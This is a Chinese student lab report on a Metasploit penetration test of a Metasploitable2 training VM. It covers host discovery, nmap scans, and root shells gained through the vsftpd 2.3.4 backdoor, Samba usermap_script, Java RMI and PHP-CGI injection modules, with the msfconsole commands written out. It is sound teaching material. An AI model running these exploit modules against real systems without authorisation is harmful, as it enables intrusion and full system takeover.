Metasploit攻击渗透实践
1.实验内容
1.1发现Metasploitable2靶机,并对其进行端口扫描、漏洞扫描;
1.2利用Vsftpd源码包后门漏洞;
1.3利用SambaMS-RPC Shell命令注入漏洞;
1.4利用Java RMI SERVER命令执行漏洞;
1.5利用PHP CGI参数执行注入漏洞。
2.实验目的
通过端口扫描发现靶机漏洞,掌握metasploit的用法,实现多种漏洞的渗透利用。
3.实验环境
安装Kali镜像VMware虚拟机以及Metasploitable2虚拟机,具体配置如图1、2所示:


4.实验过程与分析
4.1 前期渗透
4.1.1 主机发现
查看靶机的IP地址用于后续扫描,其IP地址为为192.168.3.41。如图3所示:

在kali虚拟机中打开msfconsole,执行ARP扫描,注意需切换到root用户下。具体命令如下,如图4所示:
search arp_sweep #ARP扫描的辅助模块 use 0 #使用arp_sweep模块 set RHOSTS 192.168.3.0/24 #指定扫描网段 run

从扫描结果来看,靶机处于在线状态,且标识为VMware, Inc.,说明这是一台VMware虚拟机。如图5所示:

4.1.2 端口扫描
使用nmap进行端口扫描,通过命令nmap -sS -sV 192.168.3.41进行SYN扫描并进行版本探测。根据nmap的扫描结果可以看出靶机上开放了大量的端口,同时存在有很多漏洞。扫描过程与结果如图6所示:

在Metasploit中使用portscan/tcp扫描,同样能够扫描到靶机开放的端口。具体命令如下,如图7所示:
use auxiliary/scanner/portscan/tcp #TCP端口扫描模块 set RHOSTS 192.168.3.41 #设置目的IP set THREADS 10 #并发线程,提升扫描速度 run

4.1.3 漏洞扫描
通过nmap -script=vuln 192.168.3.41对靶机进行漏洞扫描。扫描结果发现靶机上存在大量漏洞。
对于21端口的FTP服务存在vsFTPd 2.3.4版本后门漏洞(CVE-2011-2523),可直接获取root权限,属于高危漏洞。如图8所示:

对于25端口的SMTP服务存在匿名Diffie-Hellman密钥交换漏洞和DHE_EXPORT降级漏洞。其中匿名Diffie-Hellman密钥交换漏洞会导致中间人攻击,破坏通信的机密性和完整性。DHE_EXPORT降级漏洞因为它支持TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA弱密码套件,使得攻击者可将加密强度降级至512位导致敏感信息泄露。如图9所示:

对于80端口的HTTP服务存在敏感目录与文件暴露风险,Slowloris DoS漏洞和跨站请求伪造漏洞。如图10、11所示:


对于1099端口的远程方法调用服务也存在漏洞,RMI注册表的默认配置允许从远程URL加载类,可导致远程代码执行。如图12所示:

对于5432端口的PostgreSQL数据库存在Diffie-Hellman密钥交换强度不足,CCS注入漏洞以及POODLE漏洞。这些漏洞使得攻击者能够解密数据库通信,劫持TLS会话,最终解密数据。如图13所示:

对于6667端口的IRC服务存在UnrealIRCd后门。该漏洞使得攻击者可以直接获取系统权限。如图14所示:

4.2 Vsftpd源码包后门漏洞(21端口)
通过命令nmap -sV -p 21 192.168.3.41扫描靶机的21端口,查看该端口是否开启以及其上运行的服务与版本。该端口开放,且运行的是vsftpd 2.3.4。如图15所示:

使用Metasploit框架利用vsftpd 2.3.4版本后门漏洞。具体命令如下,如图16所示:
use exploit/unix/ftp/vsftpd_234_backdoor #利用vsftpd 2.3.4版本后门漏洞 set RHOSTS 192.168.3.41 #设置目的IP run

利用vsftpd 2.3.4版本后门漏洞可以获得靶机的shell。能够查看当前路径以及目录中的文件,查看当前用户发现为root用户。如图17所示:

4.3 SambaMS-RPC Shell命令注入漏洞(端口139)
通过命令nmap -p 139 192.168.3.41扫描靶机的139端口,查看该端口是否开放。如图18所示:

使用Metasploit框架利用Samba服务的usermap_script漏洞。具体命令如下,如图19所示:
use exploit/multi/samba/usermap_script #Samba服务的usermap_script漏洞 set RHOST 192.168.3.41 #设置目的IP run

利用Samba服务的usermap_script漏洞可以获得靶机的shell。能够查看当前路径以及目录中的文件,查看当前用户发现为root用户。
4.4 Java RMI SERVER命令执行漏洞(1099端口)
通过命令nmap -p 1099 192.168.3.41扫描靶机的1099端口,查看该端口是否开放。如图15所示:

使用Metasploit框架利用Java RMI服务的远程代码执行漏洞。具体命令如下,如图21所示:
use exploit/multi/misc/java_rmi_server #Java RMI服务的远程代码执行漏洞 set RHOST 192.168.3.41 #设置目的IP run

Java RMI服务的远程代码执行漏洞可以得到连接靶机的Meterpreter会话。输入shell后可以切换到交互式Shell中。此实能够查看目标主机的完整系统信息,当前路径以及目录中的文件。查看当前用户发现为root用户。

4.5 PHP CGI参数执行注入漏洞(80端口)
通过命令nmap -p 80 192.168.3.41扫描靶机的80端口,查看该端口是否开放。如图15所示:

使用Metasploit框架利用PHP-CGI的参数注入漏洞。具体命令如下,如图24所示:
use exploit/multi/http/php_cgi_arg_injection #PHP-CGI的参数注入漏洞 set RHOST 192.168.3.41 #设置目的IP run

PHP-CGI的参数注入漏洞可以得到连接靶机的Meterpreter会话。输入shell后可以切换到交互式Shell中。此实能够查看目标主机的完整系统信息,当前路径以及目录中的文件。查看当前用户发现为root用户。

5.问题及解决
问题一:在使用search arp_sweep进行ARP扫描时,提示权限不足无法在eth0网络接口上进行数据包捕获。如图26所示:

解决一:退出切换为root用户在进行ARP扫描就可以成功。
6.心得体会
本次实验我学习了Metasploit攻击渗透实践,学习的内容有:主机发现、端口扫描与漏洞扫描的基本流程,通过msf框架对部分端口的漏洞进行利用。通过一系列的实践,我对于metasploit攻击渗透有了一定的了解。
本次实验非常顺利,靶机的安装也很方便,其余的环境在前几次实验中均已配置完成。尽管不同端口的攻击模块有所差异,但整体操作逻辑较为相似,基本遵循模块调用、参数配置与攻击执行的固定模式。
尽管实验操作本身并不复杂,但我认为我需要在理解层面投入更多时间,去思考每一步操作背后的原理与目的。回顾之前的实验,我发现自己有时过于依赖指导教程,仅满足于按步骤完成任务,而缺乏独立思考的过程。希望我能在若干实验完成之后,重新梳理所学内容,以期得到新的收获。
参考资料
安装Metasploitable2
Metasploitable 2 可利用性指南